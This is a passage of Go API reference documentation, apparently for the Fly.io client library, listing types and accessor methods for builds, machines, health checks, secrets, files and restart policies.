GetOrganizationId returns EnsureDepotRemoteBuilderInput.OrganizationId, and is useful for accessing the field via an interface.
func (*EnsureDepotRemoteBuilderInput) GetRegion ¶
func (v *EnsureDepotRemoteBuilderInput) GetRegion() *string
GetRegion returns EnsureDepotRemoteBuilderInput.Region, and is useful for accessing the field via an interface.
type EnsureDepotRemoteBuilderResponse ¶
type EnsureDepotRemoteBuilderResponse struct {
EnsureDepotRemoteBuilder *EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload `json:"ensureDepotRemoteBuilder"`
}
EnsureDepotRemoteBuilderResponse is returned by EnsureDepotRemoteBuilder on success.
func EnsureDepotRemoteBuilder ¶
func EnsureDepotRemoteBuilder( ctx_ context.Context, client_ graphql.Client, input *EnsureDepotRemoteBuilderInput, ) (data_ *EnsureDepotRemoteBuilderResponse, err_ error)
func (*EnsureDepotRemoteBuilderResponse) GetEnsureDepotRemoteBuilder ¶
func (v *EnsureDepotRemoteBuilderResponse) GetEnsureDepotRemoteBuilder() *EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload
GetEnsureDepotRemoteBuilder returns EnsureDepotRemoteBuilderResponse.EnsureDepotRemoteBuilder, and is useful for accessing the field via an interface.
type EnvFrom ¶
type EnvFrom struct {
// EnvVar is required and is the name of the environment variable that will be set from the
// secret. It must be a valid environment variable name.
EnvVar string `toml:"env_var" json:"env_var"`
// FieldRef selects a field of the Machine: supports id, version, app_name, private_ip, region, image.
FieldRef string `toml:"field_ref" json:"field_ref" enums:"id,version,app_name,private_ip,region,image"`
}
@description EnvVar defines an environment variable to be populated from a machine field, env_var and field_ref are required.
type Error ¶
type Error struct {
Message string
Path []string
Extensions Extensions
}
type ExecHealthcheck ¶
type ExecHealthcheck struct {
// The command to run to check the health of the container (e.g. ["cat", "/tmp/healthy"])
Command []string `toml:"command" json:"command"`
}
type Extensions ¶
type File ¶
type File struct {
// GuestPath is the path on the machine where the file will be written and must be an absolute path.
// For example: /full/path/to/file.json
GuestPath string `toml:"guest_path,omitempty" json:"guest_path,omitempty"`
// The base64 encoded string of the file contents.
RawValue *string `toml:"raw_value,omitempty" json:"raw_value,omitempty"`
// The name of the secret that contains the base64 encoded file contents.
SecretName *string `toml:"secret_name,omitempty" json:"secret_name,omitempty"`
// The name of an image to use the OCI image config as the file contents.
ImageConfig *string `json:"image_config,omitempty"`
// Mode bits used to set permissions on this file as accepted by chmod(2).
Mode uint32 `toml:"mode,omitempty" json:"mode,omitempty"`
}
@description A file that will be written to the Machine. One of RawValue or SecretName must be set.
type FinishBuildFinishBuildFinishBuildPayload ¶
type FinishBuildFinishBuildFinishBuildPayload struct {
// build id
Id string `json:"id"`
// stored build status
Status string `json:"status"`
// wall clock time for this build
WallclockTimeMs int `json:"wallclockTimeMs"`
}
FinishBuildFinishBuildFinishBuildPayload includes the requested fields of the GraphQL type FinishBuildPayload. The GraphQL type's documentation follows.
Autogenerated return type of FinishBuild.
func (*FinishBuildFinishBuildFinishBuildPayload) GetId ¶
func (v *FinishBuildFinishBuildFinishBuildPayload) GetId() string
GetId returns FinishBuildFinishBuildFinishBuildPayload.Id, and is useful for accessing the field via an interface.
func (*FinishBuildFinishBuildFinishBuildPayload) GetStatus ¶
func (v *FinishBuildFinishBuildFinishBuildPayload) GetStatus() string
GetStatus returns FinishBuildFinishBuildFinishBuildPayload.Status, and is useful for accessing the field via an interface.
func (*FinishBuildFinishBuildFinishBuildPayload) GetWallclockTimeMs ¶
func (v *FinishBuildFinishBuildFinishBuildPayload) GetWallclockTimeMs() int
GetWallclockTimeMs returns FinishBuildFinishBuildFinishBuildPayload.WallclockTimeMs, and is useful for accessing the field via an interface.
type FinishBuildInput ¶
type FinishBuildInput struct {
// The name of the app being built
AppName string `json:"appName"`
// Build id returned by createBuild() mutation
BuildId string `json:"buildId"`
// Metadata about the builder
BuilderMeta BuilderMetaInput `json:"builderMeta"`
// A unique identifier for the client performing the mutation.
ClientMutationId string `json:"clientMutationId"`
// Information about the docker image that was built
FinalImage BuildFinalImageInput `json:"finalImage"`
// Log or error output
Logs string `json:"logs"`
// The ID of the machine being built (only set for machine builds)
MachineId string `json:"machineId"`
// Indicate whether build completed or failed
Status string `json:"status"`
// Build strategies attempted and their result, should be in order of attempt
StrategiesAttempted []BuildStrategyAttemptInput `json:"strategiesAttempted"`
// Timings for different phases of the build
Timings BuildTimingsInput `json:"timings"`
}
Autogenerated input type of FinishBuild
func (*FinishBuildInput) GetAppName ¶
func (v *FinishBuildInput) GetAppName() string
GetAppName returns FinishBuildInput.AppName, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetBuildId ¶
func (v *FinishBuildInput) GetBuildId() string
GetBuildId returns FinishBuildInput.BuildId, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetBuilderMeta ¶
func (v *FinishBuildInput) GetBuilderMeta() BuilderMetaInput
GetBuilderMeta returns FinishBuildInput.BuilderMeta, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetClientMutationId ¶
func (v *FinishBuildInput) GetClientMutationId() string
GetClientMutationId returns FinishBuildInput.ClientMutationId, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetFinalImage ¶
func (v *FinishBuildInput) GetFinalImage() BuildFinalImageInput
GetFinalImage returns FinishBuildInput.FinalImage, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetLogs ¶
func (v *FinishBuildInput) GetLogs() string
GetLogs returns FinishBuildInput.Logs, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetMachineId ¶
func (v *FinishBuildInput) GetMachineId() string
GetMachineId returns FinishBuildInput.MachineId, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetStatus ¶
func (v *FinishBuildInput) GetStatus() string
GetStatus returns FinishBuildInput.Status, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetStrategiesAttempted ¶
func (v *FinishBuildInput) GetStrategiesAttempted() []BuildStrategyAttemptInput
GetStrategiesAttempted returns FinishBuildInput.StrategiesAttempted, and is useful for accessing the field via an interface.
func (*FinishBuildInput) GetTimings ¶
func (v *FinishBuildInput) GetTimings() BuildTimingsInput
GetTimings returns FinishBuildInput.Timings, and is useful for accessing the field via an interface.
type FinishBuildResponse ¶
type FinishBuildResponse struct {
FinishBuild FinishBuildFinishBuildFinishBuildPayload `json:"finishBuild"`
}
FinishBuildResponse is returned by FinishBuild on success.
func FinishBuild ¶
func FinishBuild( ctx_ context.Context, client_ graphql.Client, input FinishBuildInput, ) (data_ *FinishBuildResponse, err_ error)
func (*FinishBuildResponse) GetFinishBuild ¶
func (v *FinishBuildResponse) GetFinishBuild() FinishBuildFinishBuildFinishBuildPayload
GetFinishBuild returns FinishBuildResponse.FinishBuild, and is useful for accessing the field via an interface.
type GqlMachine ¶
type GqlMachine struct {
ID string
Name string
State string
Region string
Config MachineConfig
App *AppCompact
IPs struct {
Nodes []*MachineIP
}
EgressIpAddresses struct {
Nodes []*EgressIPAddress
}
}
type HTTPHealthcheck ¶
type HTTPHealthcheck struct {
// The port to connect to, often the same as internal_port
Port int32 `toml:"port" json:"port"`
// The HTTP method to use to when making the request
Method string `toml:"method,omitempty" json:"method,omitempty"`
// The path to send the request to
Path string `toml:"path,omitempty" json:"path,omitempty"`
// Additional headers to send with the request
Headers []MachineHTTPHeader `toml:"headers,omitempty" json:"headers,omitempty"`
// Whether to use http or https
Scheme ContainerHealthcheckScheme `toml:"scheme,omitempty" json:"scheme,omitempty"`
// If the protocol is https, whether or not to verify the TLS certificate
TLSSkipVerify *bool `toml:"tls_skip_verify,omitempty" json:"tls_skip_verify,omitempty"`
// If the protocol is https, the hostname to use for TLS certificate validation
TLSServerName string `toml:"tls_server_name,omitempty" json:"tls_server_name,omitempty"`
}
type HTTPOptions ¶
type HTTPOptions struct {
Compress *bool `toml:"compress,omitempty" json:"compress,omitempty"`
Response *HTTPResponseOptions `toml:"response,omitempty" json:"response,omitempty"`
H2Backend *bool `toml:"h2_backend,omitempty" json:"h2_backend,omitempty"`
IdleTimeout *uint32 `toml:"idle_timeout,omitempty" json:"idle_timeout,omitempty"`
HeadersReadTimeout *uint32 `toml:"headers_read_timeout,omitempty" json:"headers_read_timeout,omitempty"`
}
type HTTPResponseOptions ¶
type HealthCheckStatus ¶
type HealthCheckStatus struct {
Total, Passing, Warn, Critical int
}
func (*HealthCheckStatus) AllPassing ¶
func (hcs *HealthCheckStatus) AllPassing() bool
type HostStatus ¶
type HostStatus string
var ( HostStatusOk HostStatus = "ok" HostStatusUnknown HostStatus = "unknown" HostStatusUnreachable HostStatus = "unreachable" )
type HostnameCheck ¶
type HostnameCheck struct {
ARecords []string `json:"aRecords"`
AAAARecords []string `json:"aaaaRecords"`
CNAMERecords []string `json:"cnameRecords"`
SOA string `json:"soa"`
DNSProvider string `json:"dnsProvider"`
DNSVerificationRecord string `json:"dnsVerificationRecord"`
ResolvedAddresses []string `json:"resolvedAddresses"`
}
type ImageVersion ¶
type ImageVersion struct {
Registry string
Repository string
Tag string
Version string
Digest string
}
func (*ImageVersion) FullImageRef ¶
func (img *ImageVersion) FullImageRef() string
type ImportDnsChange ¶
type ImportDnsWarning ¶
type InstrumentationService ¶
type Invitation ¶
type IssuedCertificate ¶
type LatestImageApp ¶
type LatestImageApp struct {
// The latest release of this application, without any config processing
CurrentReleaseUnprocessed LatestImageAppCurrentReleaseUnprocessed `json:"currentReleaseUnprocessed"`
}
LatestImageApp includes the requested fields of the GraphQL type App.
func (*LatestImageApp) GetCurrentReleaseUnprocessed ¶
func (v *LatestImageApp) GetCurrentReleaseUnprocessed() LatestImageAppCurrentReleaseUnprocessed
GetCurrentReleaseUnprocessed returns LatestImageApp.CurrentReleaseUnprocessed, and is useful for accessing the field via an interface.
type LatestImageAppCurrentReleaseUnprocessed ¶
type LatestImageAppCurrentReleaseUnprocessed struct {
// Unique ID
Id string `json:"id"`
// The version of the release
Version int `json:"version"`
// Docker image URI
ImageRef string `json:"imageRef"`
}
LatestImageAppCurrentReleaseUnprocessed includes the requested fields of the GraphQL type ReleaseUnprocessed.
func (*LatestImageAppCurrentReleaseUnprocessed) GetId ¶
func (v *LatestImageAppCurrentReleaseUnprocessed) GetId() string
GetId returns LatestImageAppCurrentReleaseUnprocessed.Id, and is useful for accessing the field via an interface.
func (*LatestImageAppCurrentReleaseUnprocessed) GetImageRef ¶
func (v *LatestImageAppCurrentReleaseUnprocessed) GetImageRef() string
GetImageRef returns LatestImageAppCurrentReleaseUnprocessed.ImageRef, and is useful for accessing the field via an interface.
func (*LatestImageAppCurrentReleaseUnprocessed) GetVersion ¶
func (v *LatestImageAppCurrentReleaseUnprocessed) GetVersion() int
GetVersion returns LatestImageAppCurrentReleaseUnprocessed.Version, and is useful for accessing the field via an interface.
type LatestImageResponse ¶
type LatestImageResponse struct {
// Find an app by name
App LatestImageApp `json:"app"`
}
LatestImageResponse is returned by LatestImage on success.
func LatestImage ¶
func (*LatestImageResponse) GetApp ¶
func (v *LatestImageResponse) GetApp() LatestImageApp
GetApp returns LatestImageResponse.App, and is useful for accessing the field via an interface.
type LaunchMachineInput ¶
type LaunchMachineInput struct {
Config *MachineConfig `toml:"config,omitempty" json:"config,omitempty"`
Region string `toml:"region,omitempty" json:"region,omitempty"`
Name string `toml:"name,omitempty" json:"name,omitempty"`
SkipLaunch bool `toml:"skip_launch,omitempty" json:"skip_launch,omitempty"`
SkipServiceRegistration bool `toml:"skip_service_registration,omitempty" json:"skip_service_registration,omitempty"`
LSVD bool `toml:"lsvd,omitempty" json:"lsvd,omitempty"`
LeaseTTL int `toml:"lease_ttl,omitempty" json:"lease_ttl,omitempty"`
// Client side only
ID string `toml:"-" json:"-"`
SkipHealthChecks bool `toml:"-" json:"-"`
RequiresReplacement bool `toml:"-" json:"-"`
Timeout int `toml:"-" json:"-"`
}
type LimitedAccessToken ¶
type ListSecret ¶
type ListenSocket ¶
type LockAppInput ¶
type LogEntry ¶
type LogEntry struct {
Timestamp string
Message string
Level string
Instance string
Region string
Meta struct {
Instance string
Region string
Event struct {
Provider string
}
HTTP struct {
Request struct {
ID string
Method string
Version string
}
Response struct {
StatusCode int `json:"status_code"`
}
}
Error struct {
Code int
Message string
}
URL struct {
Full string
}
}
}
type LoggedCertificate ¶
type Logger ¶
type Logger interface {
Debug(v ...interface{})
Debugf(format string, v ...interface{})
}
type LoggingTransport ¶
type LoggingTransport struct {
InnerTransport http.RoundTripper
Logger Logger
// contains filtered or unexported fields
}
type Machine ¶
type Machine struct {
ID string `toml:"id,omitempty" json:"id,omitempty"`
Name string `toml:"name,omitempty" json:"name,omitempty"`
State string `toml:"state,omitempty" json:"state,omitempty"`
Region string `toml:"region,omitempty" json:"region,omitempty"`
ImageRef MachineImageRef `toml:"image_ref,omitempty" json:"image_ref,omitempty"`
// InstanceID is unique for each version of the machine
InstanceID string `toml:"instance_id,omitempty" json:"instance_id,omitempty"`
Version string `toml:"version,omitempty" json:"version,omitempty"`
// PrivateIP is the internal 6PN address of the machine.
PrivateIP string `toml:"private_ip,omitempty" json:"private_ip,omitempty"`
CreatedAt string `toml:"created_at,omitempty" json:"created_at,omitempty"`
UpdatedAt string `toml:"updated_at,omitempty" json:"updated_at,omitempty"`
Config *MachineConfig `toml:"config,omitempty" json:"config,omitempty"`
Events []*MachineEvent `toml:"events,omitempty" json:"events,omitempty"`
Checks []*MachineCheckStatus `toml:"checks,omitempty" json:"checks,omitempty"`
LeaseNonce string `toml:"nonce,omitempty" json:"nonce,omitempty"`
HostStatus HostStatus `toml:"host_status,omitempty" json:"host_status,omitempty" enums:"ok,unknown,unreachable"`
// When `host_status` isn't "ok", the config can't be fully retrieved and has to be rebuilt from multiple sources
// to form an partial configuration, not suitable to clone or recreate the original machine
IncompleteConfig *MachineConfig `toml:"incomplete_config,omitempty" json:"incomplete_config,omitempty"`
}
func (*Machine) AllHealthChecks ¶
func (m *Machine) AllHealthChecks() *HealthCheckStatus
func (*Machine) FullImageRef ¶
func (*Machine) GetConfig ¶
func (m *Machine) GetConfig() *MachineConfig
GetConfig returns `IncompleteConfig` if `Config` is unset which happens when `HostStatus` isn't "ok"
func (*Machine) GetLatestEventOfType ¶
func (m *Machine) GetLatestEventOfType(eventType string) *MachineEvent
func (*Machine) GetLatestEventOfTypeAfterType ¶
func (m *Machine) GetLatestEventOfTypeAfterType(latestEventType, firstEventType string) *MachineEvent
Finds the latest event of type latestEventType, which happened after the most recent event of type firstEventType
func (*Machine) GetMetadataByKey ¶
func (*Machine) HasProcessGroup ¶
func (*Machine) ImageRefWithVersion ¶
func (*Machine) ImageRepository ¶
func (*Machine) ImageVersion ¶
func (*Machine) IsFlyAppsConsole ¶
func (*Machine) IsFlyAppsPlatform ¶
func (*Machine) IsFlyAppsReleaseCommand ¶
func (*Machine) IsReleaseCommandMachine ¶
func (*Machine) MostRecentStartTimeAfterLaunch ¶
func (*Machine) ProcessGroup ¶
func (*Machine) TopLevelChecks ¶
func (m *Machine) TopLevelChecks() *HealthCheckStatus
type MachineAutostop ¶
type MachineAutostop int
const ( MachineAutostopOff MachineAutostop = iota MachineAutostopStop MachineAutostopSuspend )
func (MachineAutostop) MarshalJSON ¶
func (s MachineAutostop) MarshalJSON() ([]byte, error)
func (MachineAutostop) MarshalText ¶
func (s MachineAutostop) MarshalText() ([]byte, error)
func (MachineAutostop) String ¶
func (s MachineAutostop) String() string
func (*MachineAutostop) UnmarshalJSON ¶
func (s *MachineAutostop) UnmarshalJSON(raw []byte) error
func (*MachineAutostop) UnmarshalText ¶
func (s *MachineAutostop) UnmarshalText(raw []byte) error
type MachineCheck ¶
type MachineCheck struct {
// The port to connect to, often the same as internal_port
Port *int `toml:"port,omitempty" json:"port,omitempty"`
// tcp or http
Type *string `toml:"type,omitempty" json:"type,omitempty"`
// Kind of the check (informational, readiness)
Kind *MachineCheckKind `toml:"kind,omitempty" json:"kind,omitempty" enums:"informational,readiness"`
// The time between connectivity checks
Interval *Duration `toml:"interval,omitempty" json:"interval,omitempty"`
// The maximum time a connection can take before being reported as failing its health check
Timeout *Duration `toml:"timeout,omitempty" json:"timeout,omitempty"`
// The time to wait after a VM starts before checking its health
GracePeriod *Duration `toml:"grace_period,omitempty" json:"grace_period,omitempty"`
// For http checks, the HTTP method to use to when making the request
HTTPMethod *string `toml:"method,omitempty" json:"method,omitempty"`
// For http checks, the path to send the request to
HTTPPath *string `toml:"path,omitempty" json:"path,omitempty"`
// For http checks, whether to use http or https
HTTPProtocol *string `toml:"protocol,omitempty" json:"protocol,omitempty"`
// For http checks with https protocol, whether or not to verify the TLS certificate
HTTPSkipTLSVerify *bool `toml:"tls_skip_verify,omitempty" json:"tls_skip_verify,omitempty"`
// If the protocol is https, the hostname to use for TLS certificate validation
HTTPTLSServerName *string `toml:"tls_server_name,omitempty" json:"tls_server_name,omitempty"`
HTTPHeaders []MachineHTTPHeader `toml:"headers,omitempty" json:"headers,omitempty"`
}
type MachineCheckKind ¶
type MachineCheckKind string
var ( // Informational check. Showed in status, but doesn't cause any actions. // Default value for top-level check if kind is not specified. MachineCheckKindInformational MachineCheckKind = "informational" // Readiness check. Failed check causes the machine to be taken out of LB pool MachineCheckKindReadiness MachineCheckKind = "readiness" )
type MachineCheckStatus ¶
type MachineCheckStatus struct {
Name string `toml:"name,omitempty" json:"name,omitempty"`
Status ConsulCheckStatus `toml:"status,omitempty" json:"status,omitempty"`
Output string `toml:"output,omitempty" json:"output,omitempty"`
UpdatedAt *time.Time `toml:"updated_at,omitempty" json:"updated_at,omitempty"`
}
type MachineConfig ¶
type MachineConfig struct {
// An object filled with key/value pairs to be set as environment variables
Env map[string]string `toml:"env,omitempty" json:"env,omitempty"`
Init MachineInit `toml:"init,omitempty" json:"init,omitempty"`
Guest *MachineGuest `toml:"guest,omitempty" json:"guest,omitempty"`
Metadata map[string]string `toml:"metadata,omitempty" json:"metadata,omitempty"`
Mounts []MachineMount `toml:"mounts,omitempty" json:"mounts,omitempty"`
Services []MachineService `toml:"services,omitempty" json:"services,omitempty"`
Metrics *MachineMetrics `toml:"metrics,omitempty" json:"metrics,omitempty"`
// An optional object that defines one or more named top-level checks. The key for each check is the check name.
Checks map[string]MachineCheck `toml:"checks,omitempty" json:"checks,omitempty"`
Statics []*Static `toml:"statics,omitempty" json:"statics,omitempty"`
// The docker image to run
Image string `toml:"image,omitempty" json:"image,omitempty"`
Files []*File `toml:"files,omitempty" json:"files,omitempty"`
Schedule string `toml:"schedule,omitempty" json:"schedule,omitempty"`
// Optional boolean telling the Machine to destroy itself once it’s complete (default false)
AutoDestroy bool `toml:"auto_destroy,omitempty" json:"auto_destroy,omitempty"`
Restart *MachineRestart `toml:"restart,omitempty" json:"restart,omitempty"`
DNS *DNSConfig `toml:"dns,omitempty" json:"dns,omitempty"`
Processes []MachineProcess `toml:"processes,omitempty" json:"processes,omitempty"`
// Standbys enable a machine to be a standby for another. In the event of a hardware failure,
// the standby machine will be started.
Standbys []string `toml:"standbys,omitempty" json:"standbys,omitempty"`
StopConfig *StopConfig `toml:"stop_config,omitempty" json:"stop_config,omitempty"`
// Containers are a list of containers that will run in the machine. Currently restricted to
// only specific organizations.
Containers []*ContainerConfig `toml:"containers,omitempty" json:"containers,omitempty"`
// Volumes describe the set of volumes that can be attached to the machine. Used in conjuction
// with containers
Volumes []*VolumeConfig `toml:"volumes,omitempty" json:"volumes,omitempty"`
// Deprecated: use Guest instead
VMSize string `toml:"size,omitempty" json:"size,omitempty"`
// Deprecated: use Service.Autostart instead
DisableMachineAutostart *bool `toml:"disable_machine_autostart,omitempty" json:"disable_machine_autostart,omitempty"`
}
func (*MachineConfig) ProcessGroup ¶
func (c *MachineConfig) ProcessGroup() string
type MachineEvent ¶
type MachineEvent struct {
Type string `toml:"type,omitempty" json:"type,omitempty"`
Status string `toml:"status,omitempty" json:"status,omitempty"`
Request *MachineRequest `toml:"request,omitempty" json:"request,omitempty"`
Source string `toml:"source,omitempty" json:"source,omitempty"`
Timestamp int64 `toml:"timestamp,omitempty" json:"timestamp,omitempty"`
}
func (*MachineEvent) Time ¶
func (e *MachineEvent) Time() time.Time
type MachineExecRequest ¶
type MachineExecResponse ¶
type MachineExitEvent ¶
type MachineExitEvent struct {
ExitCode int `toml:"exit_code,omitempty" json:"exit_code,omitempty"`
GuestExitCode int `toml:"guest_exit_code,omitempty" json:"guest_exit_code,omitempty"`
GuestSignal int `toml:"guest_signal,omitempty" json:"guest_signal,omitempty"`
OOMKilled bool `toml:"oom_killed,omitempty" json:"oom_killed,omitempty"`
RequestedStop bool `toml:"requested_stop,omitempty" json:"requested_stop,omitempty"`
Restarting bool `toml:"restarting,omitempty" json:"restarting,omitempty"`
Signal int `toml:"signal,omitempty" json:"signal,omitempty"`
ExitedAt time.Time `toml:"exited_at,omitempty" json:"exited_at,omitempty"`
}
type MachineGuest ¶
type MachineGuest struct {
CPUKind string `toml:"cpu_kind,omitempty" json:"cpu_kind,omitempty"`
CPUs int `toml:"cpus,omitempty" json:"cpus,omitempty"`
MemoryMB int `toml:"memory_mb,omitempty" json:"memory_mb,omitempty"`
GPUs int `toml:"gpus,omitempty" json:"gpus,omitempty"`
GPUKind string `toml:"gpu_kind,omitempty" json:"gpu_kind,omitempty"`
HostDedicationID string `toml:"host_dedication_id,omitempty" json:"host_dedication_id,omitempty"`
KernelArgs []string `toml:"kernel_args,omitempty" json:"kernel_args,omitempty"`
}
func (*MachineGuest) SetSize ¶
func (mg *MachineGuest) SetSize(size string) error
func (*MachineGuest) String ¶
func (mg *MachineGuest) String() string
String returns a string representation of the guest Formatted as "[cpu_kind], XGB RAM" Returns "" if nil
func (*MachineGuest) ToSize ¶
func (mg *MachineGuest) ToSize() string
ToSize converts Guest into VMSize on a best effort way
type MachineHTTPHeader ¶
type MachineHTTPHeader struct {
// The header name
Name string `toml:"name,omitempty" json:"name,omitempty"`
// The header value
Values []string `toml:"values,omitempty" json:"values,omitempty"`
}
@description For http checks, an array of objects with string field Name and array of strings field Values. The key/value pairs specify header and header values that will get passed with the check call.
type MachineImageRef ¶
type MachineImageRef struct {
Registry string `toml:"registry,omitempty" json:"registry,omitempty"`
Repository string `toml:"repository,omitempty" json:"repository,omitempty"`
Tag string `toml:"tag,omitempty" json:"tag,omitempty"`
Digest string `toml:"digest,omitempty" json:"digest,omitempty"`
Labels map[string]string `toml:"labels,omitempty" json:"labels,omitempty"`
}
type MachineInit ¶
type MachineInit struct {
Exec []string `toml:"exec,omitempty" json:"exec,omitempty"`
Entrypoint []string `toml:"entrypoint,omitempty" json:"entrypoint,omitempty"`
Cmd []string `toml:"cmd,omitempty" json:"cmd,omitempty"`
Tty bool `toml:"tty,omitempty" json:"tty,omitempty"`
SwapSizeMB *int `toml:"swap_size_mb,omitempty" json:"swap_size_mb,omitempty"`
KernelArgs []string `toml:"kernel_args,omitempty" json:"kernel_args,omitempty"`
}
type MachineLease ¶
type MachineLease struct {
Status string `toml:"status,omitempty" json:"status,omitempty"`
Data *MachineLeaseData `toml:"data,omitempty" json:"data,omitempty"`
Message string `toml:"message,omitempty" json:"message,omitempty"`
Code string `toml:"code,omitempty" json:"code,omitempty"`
}
type MachineLeaseData ¶
type MachineMetrics ¶
type MachineMonitorEvent ¶
type MachineMonitorEvent struct {
ExitEvent *MachineExitEvent `toml:"exit_event,omitempty" json:"exit_event,omitempty"`
}
type MachineMount ¶
type MachineMount struct {
Encrypted bool `toml:"encrypted,omitempty" json:"encrypted,omitempty"`
Path string `toml:"path,omitempty" json:"path,omitempty"`
SizeGb int `toml:"size_gb,omitempty" json:"size_gb,omitempty"`
Volume string `toml:"volume,omitempty" json:"volume,omitempty"`
Name string `toml:"name,omitempty" json:"name,omitempty"`
ExtendThresholdPercent int `toml:"extend_threshold_percent,omitempty" json:"extend_threshold_percent,omitempty"`
AddSizeGb int `toml:"add_size_gb,omitempty" json:"add_size_gb,omitempty"`
SizeGbLimit int `toml:"size_gb_limit,omitempty" json:"size_gb_limit,omitempty"`
}
type MachinePort ¶
type MachinePort struct {
Port *int `toml:"port,omitempty" json:"port,omitempty"`
StartPort *int `toml:"start_port,omitempty" json:"start_port,omitempty"`
EndPort *int `toml:"end_port,omitempty" json:"end_port,omitempty"`
Handlers []string `toml:"handlers,omitempty" json:"handlers,omitempty"`
ForceHTTPS bool `toml:"force_https,omitempty" json:"force_https,omitempty"`
TLSOptions *TLSOptions `toml:"tls_options,omitempty" json:"tls_options,omitempty"`
HTTPOptions *HTTPOptions `toml:"http_options,omitempty" json:"http_options,omitempty"`
ProxyProtoOptions *ProxyProtoOptions `toml:"proxy_proto_options,omitempty" json:"proxy_proto_options,omitempty"`
}
func (*MachinePort) ContainsPort ¶
func (mp *MachinePort) ContainsPort(port int) bool
func (*MachinePort) HasNonHttpPorts ¶
func (mp *MachinePort) HasNonHttpPorts() bool
type MachineProcess ¶
type MachineProcess struct {
ExecOverride []string `toml:"exec,omitempty" json:"exec,omitempty"`
EntrypointOverride []string `toml:"entrypoint,omitempty" json:"entrypoint,omitempty"`
CmdOverride []string `toml:"cmd,omitempty" json:"cmd,omitempty"`
UserOverride string `toml:"user,omitempty" json:"user,omitempty"`
ExtraEnv map[string]string `toml:"env,omitempty" json:"env,omitempty"`
// Secrets can be provided at the process level to explicitly indicate which secrets should be
// used for the process. If not provided, the secrets provided at the machine level will be used.
Secrets []MachineSecret `toml:"secrets,omitempty" json:"secrets,omitempty"`
// IgnoreAppSecrets can be set to true to ignore the secrets for the App the Machine belongs to
// and only use the secrets provided at the process level. The default/legacy behavior is to use
// the secrets provided at the App level.
IgnoreAppSecrets bool `toml:"ignore_app_secrets,omitempty" json:"ignore_app_secrets,omitempty"`
// EnvFrom can be provided to set environment variables from machine fields.
EnvFrom []EnvFrom `toml:"env_from,omitempty" json:"env_from,omitempty"`
}
type MachinePsResponse ¶
type MachinePsResponse []ProcessStat
type MachineRequest ¶
type MachineRequest struct {
ExitEvent *MachineExitEvent `toml:"exit_event,omitempty" json:"exit_event,omitempty"`
MonitorEvent *MachineMonitorEvent `toml:"MonitorEvent,omitempty" json:"MonitorEvent,omitempty"`
RestartCount int `toml:"restart_count,omitempty" json:"restart_count,omitempty"`
}
func (*MachineRequest) GetExitCode ¶
func (mr *MachineRequest) GetExitCode() (int, error)
returns the ExitCode from MonitorEvent if it exists, otherwise ExitEvent error when MonitorEvent and ExitEvent are both nil
type MachineRestart ¶
type MachineRestart struct {
// * no - Never try to restart a Machine automatically when its main process exits, whether that’s on purpose or on a crash.
// * always - Always restart a Machine automatically and never let it enter a stopped state, even when the main process exits cleanly.
// * on-failure - Try up to MaxRetries times to automatically restart the Machine if it exits with a non-zero exit code. Default when no explicit policy is set, and for Machines with schedules.
// * spot-price - Starts the Machine only when there is capacity and the spot price is less than or equal to the bid price.
Policy MachineRestartPolicy `toml:"policy,omitempty" json:"policy,omitempty" enums:"no,always,on-failure,spot-price"`
// When policy is on-failure, the maximum number of times to attempt to restart the Machine before letting it stop.
MaxRetries int `toml:"max_retries,omitempty" json:"max_retries,omitempty"`
// GPU bid price for spot Machines.
GPUBidPrice float32 `toml:"gpu_bid_price,omitempty" json:"gpu_bid_price,omitempty"`
}
@description The Machine restart policy defines whether and how flyd restarts a Machine after its main process exits. See https://fly.io/docs/machines/guides-examples/machine-restart-policy/.
type MachineRestartPolicy ¶
type MachineRestartPolicy string
var ( MachineRestartPolicyNo MachineRestartPolicy = "no" MachineRestartPolicyOnFailure MachineRestartPolicy = "on-failure" MachineRestartPolicyAlways MachineRestartPolicy = "always" MachineRestartPolicySpotPrice MachineRestartPolicy = "spot-price" )
type MachineSecret ¶
type MachineSecret struct {
// EnvVar is required and is the name of the environment variable that will be set from the
// secret. It must be a valid environment variable name.
EnvVar string `toml:"env_var" json:"env_var"`
// Name is optional and when provided is used to reference a secret name where the EnvVar is
// different from what was set as the secret name.
Name string `toml:"name" json:"name"`
}
@description A Secret needing to be set in the environment of the Machine. env_var is required and name can be used to reference a secret name where the environment variable is different from what was set originally using the API. NOTE: When secrets are provided on any process, it will override the secrets provided at the machine level.
type MachineService ¶
type MachineService struct {
Protocol string `toml:"protocol,omitempty" json:"protocol,omitempty"`
InternalPort int `toml:"internal_port,omitempty" json:"internal_port,omitempty"`
// Accepts a string (new format) or a boolean (old format). For backward compatibility with older clients, the API continues to use booleans for "off" and "stop" in responses.
// * "off" or false - Do not autostop the Machine.
// * "stop" or true - Automatically stop the Machine.
// * "suspend" - Automatically suspend the Machine, falling back to a full stop if this is not possible.
Autostop *MachineAutostop `toml:"autostop,omitempty" json:"autostop,omitempty" swaggertype:"string" enums:"off,stop,suspend"`
Autostart *bool `toml:"autostart,omitempty" json:"autostart,omitempty"`
MinMachinesRunning *int `toml:"min_machines_running,omitempty" json:"min_machines_running,omitempty"`
Ports []MachinePort `toml:"ports,omitempty" json:"ports,omitempty"`
// An optional list of service checks
Checks []MachineServiceCheck `toml:"checks,omitempty" json:"checks,omitempty"`
Concurrency *MachineServiceConcurrency `toml:"concurrency,omitempty" json:"concurrency,omitempty"`
ForceInstanceKey *string `toml:"force_instance_key" json:"force_instance_key"`
ForceInstanceDescription *string `toml:"force_instance_description,omitempty" json:"force_instance_description,omitempty"`
}
type MachineServiceCheck ¶
type MachineServiceCheck struct {
// The port to connect to, often the same as internal_port
Port *int `toml:"port,omitempty" json:"port,omitempty"`
// tcp or http
Type *string `toml:"type,omitempty" json:"type,omitempty"`
// The time between connectivity checks
Interval *Duration `toml:"interval,omitempty" json:"interval,omitempty"`
// The maximum time a connection can take before being reported as failing its health check
Timeout *Duration `toml:"timeout,omitempty" json:"timeout,omitempty"`
// The time to wait after a VM starts before checking its health
